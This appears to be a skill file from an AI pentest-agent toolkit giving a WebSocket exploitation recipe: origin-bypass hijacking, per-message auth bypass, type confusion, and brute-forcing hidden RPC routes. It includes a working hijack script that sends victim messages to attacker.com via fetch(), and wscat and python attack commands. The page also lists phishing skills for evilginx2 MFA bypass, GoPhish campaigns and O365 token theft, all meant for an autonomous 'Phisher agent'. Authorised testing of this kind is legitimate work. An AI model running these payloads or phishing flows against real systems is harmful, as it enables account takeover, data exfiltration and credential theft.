with one click
api-websocket
WebSocket exploitation — origin-bypass (CSWSH cross-site WebSocket hijacking), missing per-message auth, message-type confusion, msg-flood DoS, ws→wss downgrade, hidden RPC routes in the WS frame layer.
Menu
WebSocket exploitation — origin-bypass (CSWSH cross-site WebSocket hijacking), missing per-message auth, message-type confusion, msg-flood DoS, ws→wss downgrade, hidden RPC routes in the WS frame layer.
Author and deploy an evilginx2 phishlet to reverse-proxy a real login and capture the post-authentication session cookie, defeating MFA via session-token theft.
Build and launch a tracked phishing campaign with the GoPhish REST API — sending profile, groups, email template, landing page, launch, and event polling.
Register and provision a lookalike / Punycode phishing domain with DNS and TLS so GoPhish and evilginx2 lures resolve and pass modern mail + browser checks.
Harvest and replay O365 / Entra ID access via the OAuth device-code flow and captured tokens (TokenTactics-style), skipping the password + MFA prompts.
Design a credible phishing pretext and target shortlist from OSINT before any campaign is built — sender persona, scenario, timing, and the minimal target set.
Phishing / social-engineering catalog for the Phisher agent. Use ONLY when the engagement RoE authorizes a phishing engagement. Covers pretext design, GoPhish campaigns, evilginx2 MFA-bypass proxying, O365 credential/token harvest, lookalike domains, and the mandatory blue-team deconfliction handshake.
| name | api-websocket |
| description | WebSocket exploitation — origin-bypass (CSWSH cross-site WebSocket hijacking), missing per-message auth, message-type confusion, msg-flood DoS, ws→wss downgrade, hidden RPC routes in the WS frame layer. |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"websocket ws wss cswsh cross-site websocket hijacking origin socket.io stomp graphql-ws sse upgrade","subdomain":"api","tags":"websocket, cswsh, origin-validation","mitre_attack":"T1190, T1185"} |
Look for Upgrade: websocket in any handshake. Common paths: /ws, /socket.io, /graphql-ws, /cable (Rails ActionCable), /hub (SignalR).
# Quick handshake test
curl -sk -i \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \
-H "Sec-WebSocket-Version: 13" \
-H "Origin: https://target" \
https://target/ws
# 101 = upgraded
Server doesn't validate Origin. Attacker site can open a WS from the victim's browser with the victim's cookies:
<!-- Hosted on attacker.com -->
<script>
const ws = new WebSocket("wss://target/ws");
ws.onmessage = e => fetch("https://attacker.com/x?d=" + btoa(e.data));
ws.onopen = () => ws.send(JSON.stringify({op:"list_messages"}));
</script>
Test by sending the same request you saw in DevTools but with Origin: https://attacker.com. If server accepts → CSWSH.
Server checks JWT on connect but trusts every later message. Send a connect with a low-priv token, then drop an admin-style message:
wscat -c "wss://target/ws?token=lowpriv_jwt"
> {"op":"users.list_all"} # ⚠ admin op succeeds
Server dispatches by JSON type field. Send a message with two types or a type the server doesn't expect:
{"type":"chat","type":"admin","args":{"cmd":"shutdown"}}
{"type":"\u0061dmin","args":{...}} // Unicode-normalize bypass
If the app uses ws:// over a public network: MITM to drop the upgrade and read everything in clear. Browser only forces wss for mixed-content cases.
WS multiplex many RPC methods over one socket. Discovery is rarely complete. Brute-force method names:
wscat -c wss://target/ws -H "Authorization: bearer $TOKEN" -x '{"op":"PLACEHOLDER","args":{}}'
# Replace PLACEHOLDER with each candidate: admin.*, internal.*, debug.*, eval, etc.
# Distinct error per route reveals what exists vs what's gated.
# wscat — interactive
npm install -g wscat
# websocat — netcat for WS
websocat wss://target/ws
# Burp Suite — full WS interception (Proxy → WebSockets History)
# Pwntools-style for scripted attacks
python3 -c '
import websocket, json
ws = websocket.create_connection("wss://target/ws", header=["Origin: https://target", "Cookie: session=..."])
ws.send(json.dumps({"op":"users.list"}))
print(ws.recv())
ws.close()
'
Multiple "engine" levels: long-polling fallback, sticky sessions. Hit /socket.io/?EIO=4&transport=polling first.
CONNECT → SEND → SUBSCRIBE text frames. SUBSCRIBE /topic/admin often missing authz.
connection_init payload often carries auth. Server may accept reconnections without re-authing — replay attack.
Negotiate URL /hub/negotiate. Token in negotiate is reusable for the WS upgrade.